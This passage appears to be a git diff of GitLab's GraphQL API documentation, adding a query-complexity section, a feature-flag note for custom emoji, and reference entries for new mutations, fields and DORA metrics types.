+Custom emoji is under development and but ready for production use. It is
+deployed behind a feature flag that is **disabled by default**.
+[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
+can enable it.
+
+To enable it:
+
+```ruby
+Feature.enable(:custom_emoji)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:custom_emoji)
+```
diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md
index 85b36346167..5b482d15c51 100644
--- a/doc/api/graphql/getting_started.md
+++ b/doc/api/graphql/getting_started.md
@@ -8,7 +8,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
This guide demonstrates basic usage of the GitLab GraphQL API.
-Read the [GraphQL API style guide](../../development/api_graphql_styleguide.md)
+Read the [GraphQL API style guide](../../development/api_graphql_styleguide.md)
for implementation details aimed at developers who wish to work on developing
the API itself.
@@ -141,7 +141,7 @@ More about queries:
Authorization uses the same engine as the GitLab application (and GitLab.com).
If you've signed in to GitLab and use GraphiQL, all queries are performed as
you, the signed in user. For more information, read the
-[GitLab API documentation](../README.md#authentication).
+[GitLab API documentation](../index.md#authentication).
### Mutations
@@ -298,6 +298,24 @@ query IssueTypes {
More about introspection:
[GraphQL documentation](https://graphql.org/learn/introspection/)
+### Query complexity
+
+The calculated [complexity score and limit](index.md#max-query-complexity) for a query can be revealed to clients by
+querying for `queryComplexity`.
+
+```graphql
+query {
+ queryComplexity {
+ score
+ limit
+ }
+
+ project(fullPath: "gitlab-org/graphql-sandbox") {
+ name
+ }
+}
+```
+
## Sorting
Some of the GitLab GraphQL endpoints allow you to specify how to sort a
diff --git a/doc/api/graphql/img/custom_emoji_query_example.png b/doc/api/graphql/img/custom_emoji_query_example.png
new file mode 100644
index 00000000000..2caccd6cd10
--- /dev/null
+++ b/doc/api/graphql/img/custom_emoji_query_example.png
Binary files differ
diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md
index 073f5faf57c..b7a82dba7e9 100644
--- a/doc/api/graphql/index.md
+++ b/doc/api/graphql/index.md
@@ -76,6 +76,8 @@ These changes include the removal or renaming of fields, arguments or other part
In these situations, GitLab follows a [Deprecation and removal process](#deprecation-and-removal-process)
where the deprecated part of the schema is supported for a period of time before being removed.
+There are some changes which are explicitly [not considered breaking](../../development/contributing/#breaking-changes).
+
Clients should familiarize themselves with the process to avoid breaking changes affecting their integrations.
WARNING:
@@ -99,7 +101,6 @@ The process is as follows:
[GraphQL API Reference](reference/index.md) and in introspection queries.
1. Removals are announced at least one release prior in the [Deprecations](https://about.gitlab.com/handbook/marketing/blog/release-posts/#deprecations)
section of the release post (at or prior to `X.11` and `X.5` releases).
- release post (at or prior to `X.11` and `X.5` releases).
1. Items meeting criteria are removed in `X.0` or `X.6` and added to:
- The [Removals](https://about.gitlab.com/handbook/marketing/blog/release-posts/#removals) section of the Release Post.
@@ -165,7 +166,7 @@ The complexity of a single query is limited to a maximum of:
- `200` for unauthenticated requests.
- `250` for authenticated requests.
-There is no way to discover the complexity of a query except by exceeding the limit.
+The complexity score of a query and limit for the request [can be queried for](getting_started.md#query-complexity).
If a query exceeds the complexity limit an error message response will
be returned.
diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md
index ffdf0ea5fd3..db93accc86a 100644
--- a/doc/api/graphql/reference/index.md
+++ b/doc/api/graphql/reference/index.md
@@ -52,6 +52,7 @@ Returns [`CiConfig`](#ciconfig).
| <a id="queryciconfigcontent"></a>`content` | [`String!`](#string) | Contents of `.gitlab-ci.yml`. |
| <a id="queryciconfigdryrun"></a>`dryRun` | [`Boolean`](#boolean) | Run pipeline creation simulation, or only do static check. |
| <a id="queryciconfigprojectpath"></a>`projectPath` | [`ID!`](#id) | The project of the CI config. |
+| <a id="queryciconfigsha"></a>`sha` | [`String`](#string) | Sha for the pipeline. |
### `Query.containerRepository`
@@ -285,9 +286,15 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="queryprojectssort"></a>`sort` | [`String`](#string) | Sort order of results. |
| <a id="queryprojectstopics"></a>`topics` | [`[String!]`](#string) | Filters projects by topics. |
+### `Query.queryComplexity`
+
+Information about the complexity of the GraphQL query.
+
+Returns [`QueryComplexity`](#querycomplexity).
+
### `Query.runner`
-Find a runner. Available only when feature flag `runner_graphql_query` is enabled.
+Find a runner. Available only when feature flag `runner_graphql_query` is enabled. This flag is enabled by default.
Returns [`CiRunner`](#cirunner).
@@ -324,7 +331,7 @@ Returns [`RunnerSetup`](#runnersetup).
### `Query.runners`
-Find runners visible to the current user. Available only when feature flag `runner_graphql_query` is enabled.
+Find runners visible to the current user. Available only when feature flag `runner_graphql_query` is enabled. This flag is enabled by default.
Returns [`CiRunnerConnection`](#cirunnerconnection).
@@ -779,6 +786,46 @@ Input type: `CiCdSettingsUpdateInput`
| <a id="mutationcicdsettingsupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationcicdsettingsupdateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+### `Mutation.ciJobTokenScopeAddProject`
+
+Input type: `CiJobTokenScopeAddProjectInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationcijobtokenscopeaddprojectclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationcijobtokenscopeaddprojectprojectpath"></a>`projectPath` | [`ID!`](#id) | The project that the CI job token scope belongs to. |
+| <a id="mutationcijobtokenscopeaddprojecttargetprojectpath"></a>`targetProjectPath` | [`ID!`](#id) | The project to be added to the CI job token scope. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationcijobtokenscopeaddprojectcijobtokenscope"></a>`ciJobTokenScope` | [`CiJobTokenScopeType`](#cijobtokenscopetype) | The CI job token's scope of access. |
+| <a id="mutationcijobtokenscopeaddprojectclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationcijobtokenscopeaddprojecterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
+### `Mutation.ciJobTokenScopeRemoveProject`
+
+Input type: `CiJobTokenScopeRemoveProjectInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationcijobtokenscoperemoveprojectclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationcijobtokenscoperemoveprojectprojectpath"></a>`projectPath` | [`ID!`](#id) | The project that the CI job token scope belongs to. |
+| <a id="mutationcijobtokenscoperemoveprojecttargetprojectpath"></a>`targetProjectPath` | [`ID!`](#id) | The project to be removed from the CI job token scope. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationcijobtokenscoperemoveprojectcijobtokenscope"></a>`ciJobTokenScope` | [`CiJobTokenScopeType`](#cijobtokenscopetype) | The CI job token's scope of access. |
+| <a id="mutationcijobtokenscoperemoveprojectclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationcijobtokenscoperemoveprojecterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
### `Mutation.clusterAgentDelete`
Input type: `ClusterAgentDeleteInput`
@@ -862,6 +909,30 @@ Input type: `CommitCreateInput`
| <a id="mutationcommitcreatecontent"></a>`content` | [`[String!]`](#string) | Contents of the commit. |
| <a id="mutationcommitcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+### `Mutation.configureDependencyScanning`
+
+Configure Dependency Scanning for a project by enabling Dependency Scanning in a new or modified
+`.gitlab-ci.yml` file in a new branch. The new branch and a URL to
+create a Merge Request are a part of the response.
+
+Input type: `ConfigureDependencyScanningInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationconfiguredependencyscanningclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationconfiguredependencyscanningprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the project. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationconfiguredependencyscanningbranch"></a>`branch` | [`String`](#string) | Branch that has the new/modified `.gitlab-ci.yml` file. |
+| <a id="mutationconfiguredependencyscanningclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationconfiguredependencyscanningerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationconfiguredependencyscanningsuccesspath"></a>`successPath` | [`String`](#string) | Redirect path to use when the response is successful. |
+
### `Mutation.configureSast`
Configure SAST for a project by enabling SAST in a new or modified
@@ -1050,7 +1121,7 @@ Input type: `CreateComplianceFrameworkInput`
### `Mutation.createCustomEmoji`
-Available only when feature flag `custom_emoji` is enabled.
+Available only when feature flag `custom_emoji` is enabled. This flag is disabled by default, because the feature is experimental and is subject to change without notice.
Input type: `CreateCustomEmojiInput`
@@ -1834,6 +1905,24 @@ Input type: `DestroyNoteInput`
| <a id="mutationdestroynoteerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationdestroynotenote"></a>`note` | [`Note`](#note) | The note after mutation. |
+### `Mutation.destroyPackage`
+
+Input type: `DestroyPackageInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationdestroypackageclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationdestroypackageid"></a>`id` | [`PackagesPackageID!`](#packagespackageid) | ID of the Package. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationdestroypackageclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationdestroypackageerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
### `Mutation.destroySnippet`
Input type: `DestroySnippetInput`
@@ -2554,7 +2643,7 @@ Input type: `IssueSetWeightInput`
| <a id="mutationissuesetweightclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationissuesetweightiid"></a>`iid` | [`String!`](#string) | The IID of the issue to mutate. |
| <a id="mutationissuesetweightprojectpath"></a>`projectPath` | [`ID!`](#id) | The project the issue to mutate is in. |
-| <a id="mutationissuesetweightweight"></a>`weight` | [`Int!`](#int) | The desired weight for the issue. |
+| <a id="mutationissuesetweightweight"></a>`weight` | [`Int`](#int) | The desired weight for the issue. If set to null, weight is removed. |
#### Fields
@@ -3298,7 +3387,7 @@ Input type: `PrometheusIntegrationResetTokenInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="mutationprometheusintegrationresettokenclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationprometheusintegrationresettokenid"></a>`id` | [`PrometheusServiceID!`](#prometheusserviceid) | The ID of the integration to mutate. |
+| <a id="mutationprometheusintegrationresettokenid"></a>`id` | [`IntegrationsPrometheusID!`](#integrationsprometheusid) | The ID of the integration to mutate. |
#### Fields
@@ -3319,7 +3408,7 @@ Input type: `PrometheusIntegrationUpdateInput`
| <a id="mutationprometheusintegrationupdateactive"></a>`active` | [`Boolean`](#boolean) | Whether the integration is receiving alerts. |
| <a id="mutationprometheusintegrationupdateapiurl"></a>`apiUrl` | [`String`](#string) | Endpoint at which Prometheus can be queried. |
| <a id="mutationprometheusintegrationupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationprometheusintegrationupdateid"></a>`id` | [`PrometheusServiceID!`](#prometheusserviceid) | The ID of the integration to mutate. |
+| <a id="mutationprometheusintegrationupdateid"></a>`id` | [`IntegrationsPrometheusID!`](#integrationsprometheusid) | The ID of the integration to mutate. |
#### Fields
@@ -3529,7 +3618,7 @@ Input type: `RepositionImageDiffNoteInput`
### `Mutation.runnerDelete`
-Available only when feature flag `runner_graphql_query` is enabled.
+Available only when feature flag `runner_graphql_query` is enabled. This flag is enabled by default.
Input type: `RunnerDeleteInput`
@@ -3549,7 +3638,7 @@ Input type: `RunnerDeleteInput`
### `Mutation.runnerUpdate`
-Available only when feature flag `runner_graphql_query` is enabled.
+Available only when feature flag `runner_graphql_query` is enabled. This flag is enabled by default.
Input type: `RunnerUpdateInput`
@@ -3564,6 +3653,8 @@ Input type: `RunnerUpdateInput`
| <a id="mutationrunnerupdateid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner to update. |
| <a id="mutationrunnerupdatelocked"></a>`locked` | [`Boolean`](#boolean) | Indicates the runner is locked. |
| <a id="mutationrunnerupdatemaximumtimeout"></a>`maximumTimeout` | [`Int`](#int) | Maximum timeout (in seconds) for jobs processed by the runner. |
+| <a id="mutationrunnerupdateprivateprojectsminutescostfactor"></a>`privateProjectsMinutesCostFactor` | [`Float`](#float) | Private projects' "minutes cost factor" associated with the runner (GitLab.com only). |
+| <a id="mutationrunnerupdatepublicprojectsminutescostfactor"></a>`publicProjectsMinutesCostFactor` | [`Float`](#float) | Public projects' "minutes cost factor" associated with the runner (GitLab.com only). |
| <a id="mutationrunnerupdaterununtagged"></a>`runUntagged` | [`Boolean`](#boolean) | Indicates the runner is able to run untagged jobs. |
| <a id="mutationrunnerupdatetaglist"></a>`tagList` | [`[String!]`](#string) | Tags associated with the runner. |
@@ -3577,7 +3668,7 @@ Input type: `RunnerUpdateInput`
### `Mutation.runnersRegistrationTokenReset`
-Available only when feature flag `runner_graphql_query` is enabled.
+Available only when feature flag `runner_graphql_query` is enabled. This flag is enabled by default.
Input type: `RunnersRegistrationTokenResetInput`
@@ -3597,6 +3688,65 @@ Input type: `RunnersRegistrationTokenResetInput`
| <a id="mutationrunnersregistrationtokenreseterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationrunnersregistrationtokenresettoken"></a>`token` | [`String`](#string) | The runner token after mutation. |
+### `Mutation.scanExecutionPolicyCommit`
+
+Input type: `ScanExecutionPolicyCommitInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationscanexecutionpolicycommitclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationscanexecutionpolicycommitoperationmode"></a>`operationMode` | [`MutationOperationMode!`](#mutationoperationmode) | Changes the operation mode. |
+| <a id="mutationscanexecutionpolicycommitpolicyyaml"></a>`policyYaml` | [`String!`](#string) | YAML snippet of the policy. |
+| <a id="mutationscanexecutionpolicycommitprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the project. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationscanexecutionpolicycommitbranch"></a>`branch` | [`String`](#string) | Name of the branch to which the policy changes are committed. |
+| <a id="mutationscanexecutionpolicycommitclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationscanexecutionpolicycommiterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
+### `Mutation.securityPolicyProjectAssign`
+
+Input type: `SecurityPolicyProjectAssignInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationsecuritypolicyprojectassignclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationsecuritypolicyprojectassignprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the project. |
+| <a id="mutationsecuritypolicyprojectassignsecuritypolicyprojectid"></a>`securityPolicyProjectId` | [`ProjectID!`](#projectid) | ID of the security policy project. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationsecuritypolicyprojectassignclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationsecuritypolicyprojectassignerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
+### `Mutation.securityPolicyProjectCreate`
+
+Input type: `SecurityPolicyProjectCreateInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationsecuritypolicyprojectcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationsecuritypolicyprojectcreateprojectpath"></a>`projectPath` | [`ID!`](#id) | Full path of the project. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationsecuritypolicyprojectcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationsecuritypolicyprojectcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationsecuritypolicyprojectcreateproject"></a>`project` | [`Project`](#project) | Security Policy Project that was created. |
+
### `Mutation.terraformStateDelete`
Input type: `TerraformStateDeleteInput`
@@ -7345,7 +7495,8 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="boardepicancestorsenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
| <a id="boardepicancestorsiid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="boardepicancestorsiidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
-| <a id="boardepicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="boardepicancestorsiids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., `[1, 2]`. |
+| <a id="boardepicancestorsin"></a>`in` | [`[IssuableSearchableField!]`](#issuablesearchablefield) | Specify the fields to perform the search in. Defaults to `[TITLE, DESCRIPTION]`. Requires the `search` argument. |
| <a id="boardepicancestorsincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="boardepicancestorsincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="boardepicancestorslabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
@@ -7377,7 +7528,8 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="boardepicchildrenenddate"></a>`endDate` **{warning-solid}** | [`Time`](#time) | **Deprecated** in 13.5. Use timeframe.end. |
| <a id="boardepicchildreniid"></a>`iid` | [`ID`](#id) | IID of the epic, e.g., "1". |
| <a id="boardepicchildreniidstartswith"></a>`iidStartsWith` | [`String`](#string) | Filter epics by IID for autocomplete. |
-| <a id="boardepicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., [1, 2]. |
+| <a id="boardepicchildreniids"></a>`iids` | [`[ID!]`](#id) | List of IIDs of epics, e.g., `[1, 2]`. |
+| <a id="boardepicchildrenin"></a>`in` | [`[IssuableSearchableField!]`](#issuablesearchablefield) | Specify the fields to perform the search in. Defaults to `[TITLE, DESCRIPTION]`. Requires the `search` argument. |
| <a id="boardepicchildrenincludeancestorgroups"></a>`includeAncestorGroups` | [`Boolean`](#boolean) | Include epics from ancestor groups. |
| <a id="boardepicchildrenincludedescendantgroups"></a>`includeDescendantGroups` | [`Boolean`](#boolean) | Include epics from descendant groups. |
| <a id="boardepicchildrenlabelname"></a>`labelName` | [`[String!]`](#string) | Filter epics by labels. |
@@ -7506,6 +7658,7 @@ Represents the total number of issues and their weights for a particular day.
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="cibuildneedid"></a>`id` | [`ID!`](#id) | ID of the job we need to complete. |
| <a id="cibuildneedname"></a>`name` | [`String`](#string) | Name of the job we need to complete. |
### `CiConfig`
@@ -7581,6 +7734,7 @@ Represents the total number of issues and their weights for a particular day.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="cigroupdetailedstatus"></a>`detailedStatus` | [`DetailedStatus`](#detailedstatus) | Detailed status of the group. |
+| <a id="cigroupid"></a>`id` | [`String!`](#string) | ID for a group. |
| <a id="cigroupjobs"></a>`jobs` | [`CiJobConnection`](#cijobconnection) | Jobs in group. (see [Connections](#connections)) |
| <a id="cigroupname"></a>`name` | [`String`](#string) | Name of the job group. |
| <a id="cigroupsize"></a>`size` | [`Int`](#int) | Size of the group. |
@@ -7614,7 +7768,7 @@ Represents the total number of issues and their weights for a particular day.
| <a id="cijobrefpath"></a>`refPath` | [`String`](#string) | Path to the ref. |
| <a id="cijobretryable"></a>`retryable` | [`Boolean!`](#boolean) | Indicates the job can be retried. |
| <a id="cijobscheduledat"></a>`scheduledAt` | [`Time`](#time) | Schedule for the build. |
-| <a id="cijobschedulingtype"></a>`schedulingType` | [`String`](#string) | Type of pipeline scheduling. Value is `dag` if the pipeline uses the `needs` keyword, and `stage` otherwise. |
+| <a id="cijobschedulingtype"></a>`schedulingType` | [`String`](#string) | Type of job scheduling. Value is `dag` if the job uses the `needs` keyword, and `stage` otherwise. |
| <a id="cijobshortsha"></a>`shortSha` | [`String!`](#string) | Short SHA1 ID of the commit. |
| <a id="cijobstage"></a>`stage` | [`CiStage`](#cistage) | Stage of the job. |
| <a id="cijobstartedat"></a>`startedAt` | [`Time`](#time) | When the job was started. |
@@ -7633,6 +7787,14 @@ Represents the total number of issues and their weights for a particular day.
| <a id="cijobartifactdownloadpath"></a>`downloadPath` | [`String`](#string) | URL for downloading the artifact's file. |
| <a id="cijobartifactfiletype"></a>`fileType` | [`JobArtifactFileType`](#jobartifactfiletype) | File type of the artifact. |
+### `CiJobTokenScopeType`
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="cijobtokenscopetypeprojects"></a>`projects` | [`ProjectConnection!`](#projectconnection) | Allow list of projects that can be accessed by CI Job tokens created by this project. (see [Connections](#connections)) |
+
### `CiRunner`
#### Fields
@@ -7644,18 +7806,20 @@ Represents the total number of issues and their weights for a particular day.
| <a id="cirunnercontactedat"></a>`contactedAt` | [`Time`](#time) | Last contact from the runner. |
| <a id="cirunnerdescription"></a>`description` | [`String`](#string) | Description of the runner. |
| <a id="cirunnerid"></a>`id` | [`CiRunnerID!`](#cirunnerid) | ID of the runner. |
-| <a id="cirunneripaddress"></a>`ipAddress` | [`String!`](#string) | IP address of the runner. |
+| <a id="cirunneripaddress"></a>`ipAddress` | [`String`](#string) | IP address of the runner. |
+| <a id="cirunnerjobcount"></a>`jobCount` | [`Int`](#int) | Number of jobs processed by the runner (limited to 1000, plus one to indicate that more items exist). |
| <a id="cirunnerlocked"></a>`locked` | [`Boolean`](#boolean) | Indicates the runner is locked. |
| <a id="cirunnermaximumtimeout"></a>`maximumTimeout` | [`Int`](#int) | Maximum timeout (in seconds) for jobs processed by the runner. |
| <a id="cirunnerprivateprojectsminutescostfactor"></a>`privateProjectsMinutesCostFactor` | [`Float`](#float) | Private projects' "minutes cost factor" associated with the runner (GitLab.com only). |
+| <a id="cirunnerprojectcount"></a>`projectCount` | [`Int`](#int) | Number of projects that the runner is associated with. |
| <a id="cirunnerpublicprojectsminutescostfactor"></a>`publicProjectsMinutesCostFactor` | [`Float`](#float) | Public projects' "minutes cost factor" associated with the runner (GitLab.com only). |
-| <a id="cirunnerrevision"></a>`revision` | [`String!`](#string) | Revision of the runner. |
+| <a id="cirunnerrevision"></a>`revision` | [`String`](#string) | Revision of the runner. |
| <a id="cirunnerrununtagged"></a>`runUntagged` | [`Boolean!`](#boolean) | Indicates the runner is able to run untagged jobs. |
| <a id="cirunnerrunnertype"></a>`runnerType` | [`CiRunnerType!`](#cirunnertype) | Type of the runner. |
| <a id="cirunnershortsha"></a>`shortSha` | [`String`](#string) | First eight characters of the runner's token used to authenticate new job requests. Used as the runner's unique ID. |
| <a id="cirunnerstatus"></a>`status` | [`CiRunnerStatus!`](#cirunnerstatus) | Status of the runner. |
| <a id="cirunnertaglist"></a>`tagList` | [`[String!]`](#string) | Tags associated with the runner. |
-| <a id="cirunnerversion"></a>`version` | [`String!`](#string) | Version of the runner. |
+| <a id="cirunnerversion"></a>`version` | [`String`](#string) | Version of the runner. |
### `CiStage`
@@ -7665,8 +7829,10 @@ Represents the total number of issues and their weights for a particular day.
| ---- | ---- | ----------- |
| <a id="cistagedetailedstatus"></a>`detailedStatus` | [`DetailedStatus`](#detailedstatus) | Detailed status of the stage. |
| <a id="cistagegroups"></a>`groups` | [`CiGroupConnection`](#cigroupconnection) | Group of jobs for the stage. (see [Connections](#connections)) |
+| <a id="cistageid"></a>`id` | [`ID!`](#id) | ID of the stage. |
| <a id="cistagejobs"></a>`jobs` | [`CiJobConnection`](#cijobconnection) | Jobs for the stage. (see [Connections](#connections)) |
| <a id="cistagename"></a>`name` | [`String`](#string) | Name of the stage. |
+| <a id="cistagestatus"></a>`status` | [`String`](#string) | Status of the pipeline stage. |
### `CiTemplate`
@@ -8328,6 +8494,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="detailedstatusgroup"></a>`group` | [`String`](#string) | Group of the status. |
| <a id="detailedstatushasdetails"></a>`hasDetails` | [`Boolean`](#boolean) | Indicates if the status has further details. |
| <a id="detailedstatusicon"></a>`icon` | [`String`](#string) | Icon of the status. |
+| <a id="detailedstatusid"></a>`id` | [`String!`](#string) | ID for a detailed status. |
| <a id="detailedstatuslabel"></a>`label` | [`String`](#string) | Label of the status. |
| <a id="detailedstatustext"></a>`text` | [`String`](#string) | Text of the status. |
| <a id="detailedstatustooltip"></a>`tooltip` | [`String`](#string) | Tooltip associated with the status. |
@@ -8373,6 +8540,9 @@ Snapshot.
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="devopsadoptionsnapshotcodeownersusedcount"></a>`codeOwnersUsedCount` | [`Int`](#int) | Total number of projects with existing CODEOWNERS file. |
+| <a id="devopsadoptionsnapshotcoveragefuzzingenabledcount"></a>`coverageFuzzingEnabledCount` | [`Int`](#int) | Total number of projects with enabled coverage fuzzing. |
+| <a id="devopsadoptionsnapshotdastenabledcount"></a>`dastEnabledCount` | [`Int`](#int) | Total number of projects with enabled DAST. |
+| <a id="devopsadoptionsnapshotdependencyscanningenabledcount"></a>`dependencyScanningEnabledCount` | [`Int`](#int) | Total number of projects with enabled dependency scanning. |
| <a id="devopsadoptionsnapshotdeploysucceeded"></a>`deploySucceeded` | [`Boolean!`](#boolean) | At least one deployment succeeded. |
| <a id="devopsadoptionsnapshotendtime"></a>`endTime` | [`Time!`](#time) | The end time for the snapshot where the data points were collected. |
| <a id="devopsadoptionsnapshotissueopened"></a>`issueOpened` | [`Boolean!`](#boolean) | At least one issue was opened. |
@@ -8381,9 +8551,11 @@ Snapshot.
| <a id="devopsadoptionsnapshotpipelinesucceeded"></a>`pipelineSucceeded` | [`Boolean!`](#boolean) | At least one pipeline succeeded. |
| <a id="devopsadoptionsnapshotrecordedat"></a>`recordedAt` | [`Time!`](#time) | The time the snapshot was recorded. |
| <a id="devopsadoptionsnapshotrunnerconfigured"></a>`runnerConfigured` | [`Boolean!`](#boolean) | At least one runner was used. |
-| <a id="devopsadoptionsnapshotsecurityscansucceeded"></a>`securityScanSucceeded` | [`Boolean!`](#boolean) | At least one security scan succeeded. |
+| <a id="devopsadoptionsnapshotsastenabledcount"></a>`sastEnabledCount` | [`Int`](#int) | Total number of projects with enabled SAST. |
+| <a id="devopsadoptionsnapshotsecurityscansucceeded"></a>`securityScanSucceeded` **{warning-solid}** | [`Boolean!`](#boolean) | **Deprecated** in 14.1. Substituted with specific security metrics. Always false. |
| <a id="devopsadoptionsnapshotstarttime"></a>`startTime` | [`Time!`](#time) | The start time for the snapshot where the data points were collected. |
| <a id="devopsadoptionsnapshottotalprojectscount"></a>`totalProjectsCount` | [`Int`](#int) | Total number of projects. |
+| <a id="devopsadoptionsnapshotvulnerabilitymanagementusedcount"></a>`vulnerabilityManagementUsedCount` | [`Int`](#int) | Total number of projects with vulnerability management used at least once. |
### `DiffPosition`
@@ -8446,6 +8618,7 @@ Aggregated summary of changes.
| ---- | ---- | ----------- |
| <a id="discussioncreatedat"></a>`createdAt` | [`Time!`](#time) | Timestamp of the discussion's creation. |
| <a id="discussionid"></a>`id` | [`DiscussionID!`](#discussionid) | ID of this discussion. |
+| <a id="discussionnoteable"></a>`noteable` | [`NoteableType`](#noteabletype) | Object which the discussion belongs to. |
| <a id="discussionnotes"></a>`notes` | [`NoteConnection!`](#noteconnection) | All notes in the discussion. (see [Connections](#connections)) |
| <a id="discussionreplyid"></a>`replyId` | [`DiscussionID!`](#discussionid) | ID used to reply to this discussion. |
| <a id="discussionresolvable"></a>`resolvable` | [`Boolean!`](#boolean) | Indicates if the object can be resolved. |
@@ -8453,6 +8626,37 @@ Aggregated summary of changes.
| <a id="discussionresolvedat"></a>`resolvedAt` | [`Time`](#time) | Timestamp of when the object was resolved. |
| <a id="discussionresolvedby"></a>`resolvedBy` | [`UserCore`](#usercore) | User who resolved the object. |
+### `Dora`
+
+All information related to DORA metrics.
+
+#### Fields with arguments
+
+##### `Dora.metrics`
+
+DORA metrics for the current group or project.
+
+Returns [`[DoraMetric!]`](#dorametric).
+
+###### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="dorametricsenddate"></a>`endDate` | [`Date`](#date) | Date range to end at. Default is the current date. |
+| <a id="dorametricsenvironmenttier"></a>`environmentTier` | [`DeploymentTier`](#deploymenttier) | The deployment tier of the environments to return. Defaults to `PRODUCTION`. |
